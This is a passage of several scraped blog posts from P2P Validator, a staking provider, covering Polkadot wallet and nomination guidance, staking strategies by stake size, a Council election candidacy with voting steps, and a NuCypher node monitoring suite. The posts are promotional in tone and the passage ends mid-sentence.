src="https://economy.p2p.org/content/images/2020/09/10-3.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/10-3.png 600w, https://economy.p2p.org/content/images/2020/09/10-3.png 955w" sizes="(min-width: 720px) 720px"></figure><p>5.    Choose a wallet with funds you want to delegate and click <code>Continue</code>.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/11-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/11-1.png 600w, https://economy.p2p.org/content/images/2020/09/11-1.png 946w" sizes="(min-width: 720px) 720px"></figure><p>6.   Search the <strong><strong>“P2P”</strong></strong> pool ticker if you want to delegate to P2P Validator stake pool, select and click <code>Continue</code></p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/12-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/12-1.png 600w, https://economy.p2p.org/content/images/2020/09/12-1.png 943w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/13-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/13-1.png 600w, https://economy.p2p.org/content/images/2020/09/13-1.png 946w" sizes="(min-width: 720px) 720px"></figure><p>7.   Enter your spending password, confirm the delegation and enjoy rewards.</p><blockquote><em><em>Please keep in mind that your delegation will be counted two epochs later. Each epoch is exactly five days long. Therefore, you will begin receiving staking rewards after 10 days. You can track rewards under the <code>Rewards</code> tab.</em></em></blockquote><h1 id="about-p2p-org"><strong>About P2P.org</strong></h1><p><a href="https://p2p.org/">P2P Validator</a> is a world-leading <strong><strong>non-custodial staking provider</strong></strong> with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than <strong><strong>170 million of USD</strong></strong> value. At the time of publishing, P2P Validator is <strong><strong>trusted by over 2200 delegators</strong></strong> across 15+ networks. We are a major player in all networks we support because of our experience, commitments and our <strong><strong>reputation</strong></strong>. We pay special attention to the process of <strong><strong>governance</strong></strong>.</p><blockquote><em><em>Our aim is to provide a secure and reliable service at the lowest cost <strong><strong>maximizing rewards for our delegators</strong></strong>.</em></em></blockquote><hr><p>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram</a> chat or contact Slava via [email protected] We are always open for communication.</p><p></p><hr><p></p><p><strong>Web</strong>: <a href="https://p2p.org">https://p2p.org</a></p><p><strong>Twitter</strong>: <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong>Telegram</strong>: <a href="https://t.me/P2P/polkadot"><a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></a></p>

Slava Yanchuk

from p2p validator

Polkadot Polkadot overview for newcomers

<h1 id="polkadot-overview-for-newcomers"><strong>Polkadot overview for newcomers</strong></h1><p><em><em>August 18th, 2020</em></em> - Polkadot almost became a fully-operational network by reaching the 4th of five milestones - opening transfers between accounts. The network is expected to finish the rollout plan this autumn by enabling parachain auctions and cross-chain interaction protocol, but, which might be important for newcomers, now you can legally buy and sell DOT tokens. If you are someone who missed the original 2017 and small 2020 sale but still are interested - this article is for you.</p><h2 id="which-wallets-to-use"><strong>Which wallets to use?</strong></h2><p>We recommend starting exploring Polkadot with official <a href="https://polkadot.js.org/apps/#/accounts">Polkadot.js browser wallet</a> (you would also need to install <a href="https://github.com/polkadot-js/extension">polkadot.js browser plugin</a>). This is the official wallet supported by Web3 Foundation that provides all possible opportunities for DOT users. If you are not a fan of desktop wallets, you can just walk through all tabs and get a good overview of Polkadot. The full list of supported wallets can be found <a href="https://wiki.polkadot.network/docs/en/build-wallets">here</a>.</p><p>You will notice that a lot of them are in the development stage, but the following ones are fully functional:</p><ul><li><a href="https://www.parity.io/signer/">Parity Signer</a></li><li><a href="https://lunie.io/">Lunie</a></li><li><a href="https://polkawallet.io/">Polkawallet</a></li><li><a href="https://token.im/">ImToken</a></li><li><a href="https://www.mathwallet.org/polkadot-wallet/en/">Math wallet</a></li></ul><p>Please note that the wallets may not provide full functionality (e.g., Democracy, Council voting, Extrinsic, etc.) - but all of them support transfers and staking.</p><h2 id="where-to-buy-dot"><strong>Where to buy DOT?</strong></h2><p>Generally, we don’t give advice on the exchange as your experience may differ based on the country of your residence or KYC/AML procedures. As you’re reading this page, we believe you are already a crypto person and you don’t need common advice like picking a trusted exchange. But there’s one thing you may not be familiar with:</p><p><strong><strong>On August 21st, Polkadot will go through the redenomination process. It means the “old” DOT will be equal to 100 “new” DOTs. This was the choice of community - you can read more in the <a href="https://polkadot.network/the-results-are-in/">official post</a>. This change will not be done by changing any core code - from 21st 1 DOT will be equal to 10^10 Plancks (the smallest fraction of DOT), while now it’s 10^12 Plancks. If you buy your DOT now, you will just see 100x more DOT on your balance after 21st.</strong></strong></p><h2 id="how-to-create-an-account"><strong>How to create an account?</strong></h2><p>Please use <a href="https://economy.p2p.org/create-account-in-polkadot-network">our guide</a>. The whole process will take several minutes.</p><h2 id="how-to-nominate"><strong>How to nominate?</strong></h2><p>We have a general <a href="https://economy.p2p.org/polkadot-nomination-guide">guide on nominating</a>. Here are some additional tips that you might find helpful:</p><ul><li>You can nominate from 1 to 16 validators from one account. The validator election mechanism will distribute your stake to validators in an optimal way (generally, for one validator). We recommend to nominate trusted validators as the right selection will provide better yield and protect you from <a href="https://economy.p2p.org/Polkadot-overview-for-newcomers#what-is-slashing-and-how-does-it-work">slashing</a>.</li><li>Your nomination status will update every day (around 1PM CET - when the validator election happens). The meaning of each status: <em><em>Active - your nomination is working, and one of the validators you’ve chosen is in the active validator set. Everything is OK. </em></em>Inactive - it is OK to have some inactive nomination while you have at least one active - it means that your nomination is working, but some of the validators you’ve chosen are not in the active set. <em><em>Waiting - you will see this status if you’ve made a nomination but the elections haven’t happened yet. Don’t worry, just wait for the validator elections to be held. </em></em>Renomination needed - this signals you that you need an update of your nomination.</li><li>Bonding and unbonding <em><em>Bonding means you’re locking your funds to work in staking. While funds are locked, you can make nominations, update them, vote, etc. To make your funds liquid you should go through unbonding. </em></em>Unbonding might be performed when you want to stop nominating and move or sell your DOTs. Please be careful - the unbonding period for Polkadot is 28 days, so basically you won’t be able to transfer or stake your DOTs for almost a month!</li><li>Controller account is a special account that might be linked with your primary account (stash in terms of Polkadot) to perform some actions (e.g., staking). It is good practice to have a controller account connected to your stash and don’t touch the last one without a significant reason. What is more important, you can basically share your controller account with 3rd parties to perform staking while keeping your stash keys with you and your funds will be safe!</li></ul><p>For those of you who have more than 50000 DOT we have a <a href="https://economy.p2p.org/polkadot-nomination-strategies/#p2p-validator-special-offer">special offer</a>!</p><h2 id="how-do-rewards-work"><strong>How do rewards work?</strong></h2><p>At the moment, Polkadot provides around 14-15% APR on your stake. The following things might influence your profit:</p><ul><li>Validator fee. The average validator fee is around 3%.</li><li>Luck. The profit for each validator is proportional to the number of blocks produced during the era. These numbers will be equal in the long run, but for some days you may notice a bit more or a bit less profit than predicted - so basically you should not worry about this.</li><li>Total stake on the node. Polkadot provides staking rewards that are almost equal for every validator. After that, the validator automatically distributes the profit for the nominators after taking a validator fee. So, nominating to the validator that has 2M DOT in nominations will bring you twice as much as nominating the one with 4M DOT in nominations.</li><li>Overall validator performance. In the real world, different validators have different hardware resources, connectivity, etc. - all of these factors may affect nominators’ profitability.</li><li>Slashing penalties. <a href="https://economy.p2p.org/Polkadot-overview-for-newcomers#what-is-slashing-and-how-does-it-work">Please take a note on slashing and how it works in Polkadot</a>.</li></ul><p><strong><strong>Please use our <a href="https://economy.p2p.org/polkadot-nomination-strategies">article with nomination strategies</a> that are based on the stake you hold</strong></strong></p><p>Other important points on the rewards:</p><ul><li>Rewards are distributed each era (24 hours for Polkadot).</li><li>By default, the rewards are not claimed automatically. This can be done either by you or by your nominated validator. P2P Validator is periodically claiming rewards for our nominators, so you should not worry about this if you nominate us.</li></ul><h2 id="what-is-slashing-and-how-does-it-work"><strong>What is slashing and how does it work?</strong></h2><p>Slashing is a penalty mechanism that provides economic incentives for validators to play fair and nominators to choose the right validators. Slashing is triggered when a validator makes a double sign or more than 10% of the network goes offline. This can also happen because of a software bug. In such cases, the slashes are applied after 28 days and can be canceled by democracy voting.</p><p>As the slashing is applied to both validator and its nominators, you may lose some portion of your stake. To minimize risks to be slashed:</p><ul><li>Select 16 validators in your nomination.</li><li>Select only the validators you know and trust.</li><li>Don’t try to make maximum profits - staking is a marathon, not a sprint. The risk of losing a portion of your stake might outweigh the better profitability of an unknown validator.</li></ul><h2 id="what-resources-to-use-or-follow"><strong>What resources to use or follow?</strong></h2><p>For all newcomers to Polkadot ecosystem, we recommend the following resources:</p><ul><li>Our <a href="https://economy.p2p.org/category/polkadot/">blog articles about Polkadot</a></li><li>Join the <a href="https://t.me/PolkadotOfficial">official Polkadot group on telegram</a></li><li>Join the <a href="https://matrix.to/#/!FdCojkeGzZLSEoiecf:web3.foundation?via=matrix.parity.io&amp;via=matrix.org&amp;via=web3.foundation">community group in Element</a></li><li>Use the official <a href="https://wiki.polkadot.network/docs/en/getting-started">wiki of the project</a></li><li>Get familiar with Polkadot in action using <a href="https://polkadot.js.org/apps/#/accounts">Polkadot.js</a></li><li>Use <a href="https://polkascan.io/polkadot">Polkascan</a> or <a href="https://www.subscan.io/">Subscan</a> to dive deeper in addresses and transactions</li><li>Give <a href="https://kusama.network/">Kusama</a> network, a wild cousin of Polkadot, a try</li></ul><h2 id="about-p2p-validator"><strong>About P2P Validator</strong></h2><p><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=polkadot_for_newcomers">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 100 million of USD value. At the time of publishing, P2P Validator is trusted by over 2000 delegators across 15+ networks.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Gleb via [email protected] We are always ready to help and open for communication.</em></em></p><hr><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=polkadot_for_newcomers"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Gleb Palienko

from p2p validator

Polkadot Polkadot Nomination Strategies

<p>While validators in Polkadot work together as the heart of the ecosystem - validate transactions, build the blockchain itself, and maintain network security, nominators supply the blood - they delegate their tokens to the validators they trust and therefore receive rewards and provide supply to the blockchain economy. So, what's the best strategy for a nominator? How to be sure your funds are safe and working at their maximum? We've gathered some strategies that might be useful for you based on the stake you have.</p><h1 id="500k-dots-and-more-"><strong>500K DOTs and more.</strong></h1><p>You hold a large number of tokens, and the rewards you can get are pretty high (in absolute numbers). Here are some thoughts that you might find useful:</p><ul><li>The right nomination strategy can add several additional points to your APR, while with the wrong one you can receive only half of the potential profit. "Nominate once and relax" won't work for you because the fluctuations of nominations on the network can change the position of validators you've chosen drastically.</li><li>Selecting the most profitable validators in polkadot.js UI might not be a good idea because your stake is significant enough to change the position of validators in terms of profitability.</li><li>To make the best choice of validator, you should make predictions on the next validator set for each era, which requires development resources and a deep understanding of Polkadot validator election mechanisms.</li></ul><p>All this can make you think that it's almost impossible to get the maximum from your stake. <strong><strong>Luckily, you're reading this text on p2p.org. We're a top-tier validator and can make this happen because of our vast amount of experience accumulated in Kusama and Polkadot.</strong></strong></p><h3 id="p2p-validator-special-offer-"><strong>P2P Validator special offer:</strong></h3><ul><li>Optimized regular nominations to get maximum yield</li><li>Direct support by chat or video call</li><li>Weekly reports on profitability</li><li>Reports for tax authorities on demand</li><li>An immediate reaction in case of active set increases and other changes that can potentially affect your staking rewards.</li></ul><p><strong><strong>All the mentioned benefits are available for you without any additional fees. Contact us via <a href="mailto:[email protected]">email</a> or <a href="https://t.me/P2Pstaking">join our telegram group</a> to know more.</strong></strong></p><h1 id="50k-500k-dots"><strong>50K - 500K DOTs</strong></h1><p>We can bet you care about your profits, so you may develop this strategy by yourself - monitor the staking daily and update your nomination to choose the best validators. But the question is - how to choose reliable validator nodes and get maximum rewards from them? Here are some thoughts:</p><ul><li>Your stake is still significant enough not to use the automatic validator selection on polkadot.js - you're still able to push the specific node from the top profitability position.</li><li>Try not to update your nomination right after the election happens. The same reason being as for the point above - your nomination changes the landscape, so the best time to make an update is about noon CET.</li></ul><p>Feel free to use a <a href="https://redash.p2p.org/public/dashboards/cviD6Ci7oUDRnSoq8CqNJImrJfq8uuY37DsiF2CY?org_slug=default">dashboard</a> that predicts the next validator set and was designed to find out the best targets for nominations.</p><p><strong><strong>If you plan to continue staking Polkadot and would contact us during the upcoming month - we are happy to tell you are also able to receive a special offer for 500K+ stakes. Contact us via <a href="mailto:[email protected]">email</a> or <a href="https://t.me/P2Pstaking">join our telegram group</a> to know more</strong></strong></p><h1 id="10k-50k-dots"><strong>10K-50K DOTs</strong></h1><p>With a stake in this range, you might be interested in increasing profits, but paying too much attention to staking would not cover the costs of your time. The best approach would be to make a nomination and come back, check and update nomination if needed in a week or two. Here are some thoughts that might help you to make the right choice of validator:</p><ul><li>Choose nodes from a validator you know and can reach in case you have any questions. Polkadot network is permissionless - that means anyone can be a validator. The malicious behavior of a validator results in a punishment (slashing in terms of Polkadot) - which is a lot more harmful to the nominator than the validator.</li><li>If you're using polkadot.js, be careful over choosing validators automatically. This mechanism relies only on the current state of nominations and fees - and tells you nothing about specific validator quality.</li></ul><p>Use the <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_campaign=polkadot_nomination_strategies">p2p.org/polkadot</a> web page to find out the best target addresses supported by P2P Validator.</p><h1 id="0-10k-dots"><strong>0-10K DOTs</strong></h1><p>You don't have enough dots to earn a lot - but that also brings you an advantage - your stake does not significantly change a selected validator's profitability, so there is no need to pay much attention to nominations. The best strategy for you would be to choose around eight top-performing validators from the active set and the rest from the waiting list based on your feelings. We encourage you to put a bet on both big names in validation and include smaller independent validators who are active in community chats.</p><h1 id="general-thoughts"><strong>General thoughts</strong></h1><p>According to Polkadot network rules, you can choose up to 16 validators in your nomination, and an automated election algorithm will do the rest. It looks like a perfect solution - to nominate once and relax, but there are some pitfalls that might affect your profits:</p><ul><li>Validators you've nominated might not be elected to the active validator set. This situation might occur if the other nominators that chose the same validators as you will renominate to other nodes. In this case, you're entirely missing any profit - and will continue to miss it until you make a new nomination or other people help your validators reach the active validator set.</li><li>Validators you've nominated become extremely popular and receive many nominations. In this case, you're getting profits on your stake, but they are not optimal. Here's a simple explanation: the reward each validator receives is almost equal for all active validators in the long term. The more nominated stake a specific validator has, the less each nominator gets. Some validators have nominations for 2M, some for 4M DOTs - as a result, the profits for their nominators differ twice!</li><li>There is a small chance the nodes you've nominated would go offline. If you nominate 16, the chance all of them would be down is meager - but it exists.</li></ul><p>The risks of not paying attention to the actual state of nomination in Polkadot can result in losing profits (partially or even completely). <strong><strong>To mitigate our nominators' risks, P2P Validator supplies new validator nodes when the demand for them is growing.</strong></strong></p><p><strong><strong>Why else should you nominate P2P Validator?</strong></strong></p><ul><li>We've invested our own funds in Polkadot &amp; ecosystem and stake them via the public validator nodes - the same as you do</li><li>We have a dedicated DevOps and development team with a tremendous amount of experience across Polkadot and other blockchains</li><li>We were the first ones to run validators in both Polkadot and Kusama</li><li>We've achieved top-notch profitability for our nominators in Kusama and have a good track record.</li></ul><p><strong><strong>How to nominate P2P? Just use the 16 validator nodes listed on our website <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_campaign=polkadot_nomination_strategies">p2p.org/polkadot</a></strong></strong></p><h2 id="p2p-statistics-in-kusama"><strong>P2P statistics in Kusama</strong></h2><p>We have accumulated a huge amount of experience in staking Kusama and continue this story in Polkadot. The graph below shows the profits for a nominator with 1000 KSM with P2P Validator and other validators*.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/dx9t8wS.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/dx9t8wS.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/dx9t8wS.png 1000w, https://economy.p2p.org/content/images/2020/09/dx9t8wS.png 1021w" sizes="(min-width: 720px) 720px"></figure><p>*<em><em>Other validators’ profits are calculated based on the average weighted commission rate of 7,5%, average stake amongst all validators, and current staking ratio.</em></em></p><h1 id="about-p2p-validator"><strong>About P2P Validator</strong></h1><p><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=polkadot_nomination_strategies">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 100 million of USD value. At the time of publishing, P2P Validator is trusted by over 2000 delegators across 15+ networks.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Alex via [email protected] We are always ready to help and open for communication.</em></em></p><hr><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=polkadot_nomination_strategies"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Gleb Palienko

from p2p validator

Polkadot Polkadot Council elections: vote for P2P Validator

<p>After the first council elections and removal of sudo module Polkadot will become a permissionless chain fully governed by the community. Every DOT holder can submit a proposal and suggest parameter changes such as increasing the validator set and many more.</p><p><strong><strong>P2P Validator is excited to announce our Council candidacy</strong></strong>. We have supported both Polkadot and Kusama networks from the very beginning, and, as a result, received more than 50,000,000 DOTs from 250+ users as nominations. As a Council member, we promise to act in the interests of the Polkadot community.</p><h2 id="why-you-should-vote-for-p2p-validator"><strong>Why you should vote for P2P Validator</strong></h2><ul><li>We have a proven track record of 2+ years in the validation business across different networks</li><li>We are active participants in the governance of most groundbreaking blockchains</li><li>We've invested our funds in Polkadot &amp; ecosystem and stake them via the public validator nodes</li><li>We have a dedicated development team and participate in W3F General Grants Program</li><li>We are always open for community requests</li></ul><p><strong><strong><a href="https://economy.p2p.org/Polkadot-Council-elections-vote-for-P2P-Validator#how-to-vote">Press here to find detailed instructions on voting.</a></strong></strong></p><h2 id="role-of-a-council-member"><strong>Role of a council member</strong></h2><p>Efficient governance implies an active participation of stakeholders, which is always limited to some extent. It requires continuous monitoring of new proposals and taking actions to check that the outcome is not harmful for the ecosystem. Sometimes, token holders miss the right moment or simply prefer not to participate in voting for various reasons. Councils in Polkadot represent passive stakeholders and have a crucial role in the governance affecting the way of approving/rejecting proposals.</p><p><strong><strong>Some of their capabilities:</strong></strong></p><ul><li>Accept or reject treasury spending proposals</li><li>Propose a referendum and change its bias</li><li>Cast "veto" on a malicious proposal</li><li>Cancel slashes that are in a queue for application</li></ul><p>Initially there are 13 councilors, the number will gradually grow to 23. Elections initially happen once a day. Later, elections will occur on a weekly basis and eventually monthly. Every token holder can pick up to 16 candidates. Stake-weighted votes are distributed automatically based on the Phragmen method the same way as nominating validators. <strong><strong>Tokens involved in staking count in the selection of Council members</strong></strong>. The vote is considered valid until canceled via extrinsic. Before that DOT are frozen (becoming non-transferable). <strong><strong>Unlike unbonding, there is no specific period to wait before unfreezing and they become unlocked and transferable right after submitting a corresponding transaction.</strong></strong></p><h2 id="the-mission-of-p2p-validator-as-a-council-member"><strong>The mission of P2P Validator as a council member</strong></h2><p><strong><strong>Very simply, we can describe our mission as a council member as follows: to protect the interests of nominators and validators.</strong></strong></p><p>Although nominators and validators have different roles in the ecosystem, we find that many points are valid for both:</p><ul><li>Nominators and validators own and earn a certain amount of tokens and are interested in network ecosystem growth.</li><li>Nominators' stake and validators' future profits are in a non-liquid state, so both would not welcome any change that would result in a negative change in value of their holdings.</li><li>In some cases, nominators and small independent validators may not have enough time or expertise to analyze the proposed changes and make a considered conclusion in voting for or against.</li></ul><p>So, what exactly are we going to do as a council member?</p><ul><li>Dive as deep as we can into any proposal that is put to the council</li><li>Publicly express our opinion regarding the proposals clearly stating the expected results for both nominators and validators</li><li>Collect opinions from both validators and nominators</li><li>Discuss it with other council members and vote based on the opinions we've got from the community</li><li>Issue regular reports on the network development direction based on the proposals and discussions in the council</li></ul><h2 id="how-to-vote"><strong>How to vote</strong></h2><p>1. Go to a Council tab of<a href="https://polkadot.js.org/apps/#/council"> PolkadotJS UI</a> and press the vote button in the right top corner.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1-1.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/1-1.png 1000w, https://economy.p2p.org/content/images/2020/09/1-1.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>2. Select up to 16 candidates by left clicking on accounts in the left box or simply paste the address of the desired one in the search field. <strong><strong>Here is P2P Validator candidate address:</strong></strong> <code>14krbTSTJv3aaT1VeBRX7CzoV4crr3adeF3KutdpkCttrxsZ</code></p><p>After you specify the amount of DOT, press submit button and sign the transaction</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2-3.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2-3.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2-3.png 1000w, https://economy.p2p.org/content/images/2020/09/2-3.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>3.   Your vote will be considered in the following elections.</p><p>To cancel your vote go to Extrinsics tab, select the account used for voting, choose electionsPhragmen in the left drop-down menu, and removeVoter() in the right one.Then press the Submit Transaction button and sign it.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/3-3.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/3-3.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/3-3.png 1000w, https://economy.p2p.org/content/images/2020/09/3-3.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>Your vote will be immediately removed and tokens locked in Council elections will unfreeze.</p><h2 id="about-p2p-validator"><strong>About P2P Validator</strong></h2><p><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=vote_for_p2p_council">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 100 million of USD value. At the time of publishing, P2P Validator is trusted by over 2000 delegators across 15+ networks.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Alex via [email protected] We are always ready to help and open for communication.</em></em></p><p></p><hr><p></p><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_campaign=vote_for_p2p_council"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=vote_for_p2p_council">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Gleb Palienko

from p2p validator

Nucypher NuCypher Worker Node Monitoring Suite

<p>As part of the Technical Contributor Phase of NuCypher’s <a href="https://blog.nucypher.com/come-and-stake-it-incentivized-testnet/?utm_source=p2peconomy">Come And Stake It (CASI) Incentivized Testnet</a>, <a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=NuCypher-monitoring">P2P Validator</a> has collaborated with <a href="http://www.nucypher.com/">NuCypher</a> to provide an inexpensive and powerful <a href="https://github.com/p2p-org/nucypher-monitoring">suite of self-hosted NuCypher node monitoring and alerting services</a> using Prometheus and Grafana. This suite is free and open-sourced so that anyone can make use of it to manage their NuCypher node infrastructure.</p><h2 id="the-need"><strong>The Need</strong></h2><p>The NuCypher Network is a decentralized network of nodes that uses proxy re-encryption to provide secrets management and dynamic access control services. The network facilitates end-to-end encrypted data sharing between parties without exposing plaintext data or private keys to the nodes.</p><p>NuCypher nodes are incentivized to maintain high uptime and availability to readily provide re-encryption services. Persistent downtime will cause nodes to forgo inflation rewards and policy fees. Therefore, identification and resolution of availability issues quickly is a requirement. This solution is aimed at those who independently set up and run the Worker according to the <a href="https://docs.nucypher.com/en/latest/guides/network_node/network_node.html">NuCypher documentation</a>, but who do not have enough experience to implement monitoring and alerting on their own. After successfully running a Worker node, the user should be able to check the state of their node and receive timely alerts about issues that need to be addressed immediately.</p><h2 id="the-solution"><strong>The Solution</strong></h2><p>Our goal was to provide a seamless setup, simple configuration and enable the user to obtain up-to-date information about their ongoing node operations and the broader NuCypher network. We implemented a Worker endpoint that provides various node metrics and a Grafana dashboard to allow users to visualize these metrics and assess the state of their node.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1-2.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1-2.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/1-2.png 1000w, https://economy.p2p.org/content/images/2020/09/1-2.png 1240w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2-4.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2-4.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2-4.png 1000w, https://economy.p2p.org/content/images/2020/09/2-4.png 1240w" sizes="(min-width: 720px) 720px"></figure><p>Metrics include:</p><ul><li>CPU / RAM / Disk / Network utilization</li><li>Realtime data on node workload</li><li>Account balances</li><li>Staker information</li><li>WorkLock status</li></ul><p>Furthermore, alerts can be provisioned based on these metrics through the dashboard to send timely messages when notable issues arise. Notification mechanisms include Telegram bots, SMS, phone calls, and email notifications. Additional functionality is provided to include images within alert messages and to configure reminders.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/3-4.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/3-4.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/3-4.png 1000w, https://economy.p2p.org/content/images/2020/09/3-4.png 1206w" sizes="(min-width: 720px) 720px"></figure><h2 id="getting-started"><strong>Getting Started</strong></h2><p>To install Prometheus and run your Worker with the metrics endpoint activated, see <a href="https://docs.nucypher.com/en/latest/guides/network_node/ursula_configuration_guide.html#prometheus-endpoint">https://docs.nucypher.com/en/latest/guides/network_node/ursula_configuration_guide.html#prometheus-endpoint</a>.</p><p>To set up our monitoring suite, go to <a href="https://github.com/p2p-org/nucypher-monitoring">https://github.com/p2p-org/nucypher-monitoring</a>, and follow the instructions.</p><blockquote><em><em>To file bug reports or feature requests, please create an issue on our Github. If you are feeling adventurous feel free to submit pull requests.</em></em></blockquote><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Alex via [email protected] We are always ready to help and open for communication.</em></em></p><hr><h1 id="about-p2p-validator"><strong>About P2P Validator</strong></h1><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=NuCypher-monitoring">P2P Validator</a> is a world-leading staking provider with the best industry security practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities. At the time of publishing, more than 40 million of USD value is staked with P2P Validator by over 1500 delegators across 15+ networks.</p><p></p><p><strong><strong>Web:</strong></strong> <a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=nucypher-monitoring">p2p.org</a></p><p><strong><strong>Stake NU with us:</strong></strong> <a href="https://p2p.org/nucypher?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=nucypher-monitoring">p2p.org/nucypher</a></p><p><strong><strong>Twitter:</strong></strong> <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">t.me/P2Pstaking</a></p>

Paul P

from p2p validator

Polkadot P2P Staking Strategy in Polkadot Before DOT Transfers

<p>Polkadot staking has successfully launched. Validator elections has been held and issuance of first rewards has been started. If you have not nominated yet it is a good time to <a href="https://economy.p2p.org/polkadot-nomination-guide?utm_source=strategy&amp;utm_campaign=strategy">do it now</a>.</p><p>P2P Validator has more than three years of experience as a non-custodial staking provider. We make staking clear and attractive to simplify the process, incentivizing token holders to secure the network. <strong><strong>The main goal of our staking strategy is maximizing rewards for token holders.</strong></strong></p><p>To reach that goal in Polkadot, we have been validating Kusama since the first day to polish our approach. Currently, we operate over 25 Kusama nodes with 300,000 KSM nominations and provide <strong><strong>~15% benefit for our nominators compared to average.</strong></strong></p><p>Below I will briefly describe a <strong><strong>temporary approach we are taking while DOT transfers are not enabled</strong></strong>.</p><p><a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy">Nominate P2P</a> to take part in this exciting journey.</p><h1 id="staking-in-polkadot"><strong>Staking in Polkadot</strong></h1><p>In Polkadot nominators don't choose the amount delegated to a particular validator. <strong><strong>Instead, they select preferred validators and their bonded stake automatically spreads amongst them</strong></strong> to achieve an optimal distribution. Each token holder can pick up to 16 targets and the system will decide which ones will receive a delegation and the amount.</p><p>Nominations represent stake-weighted voting for validators who 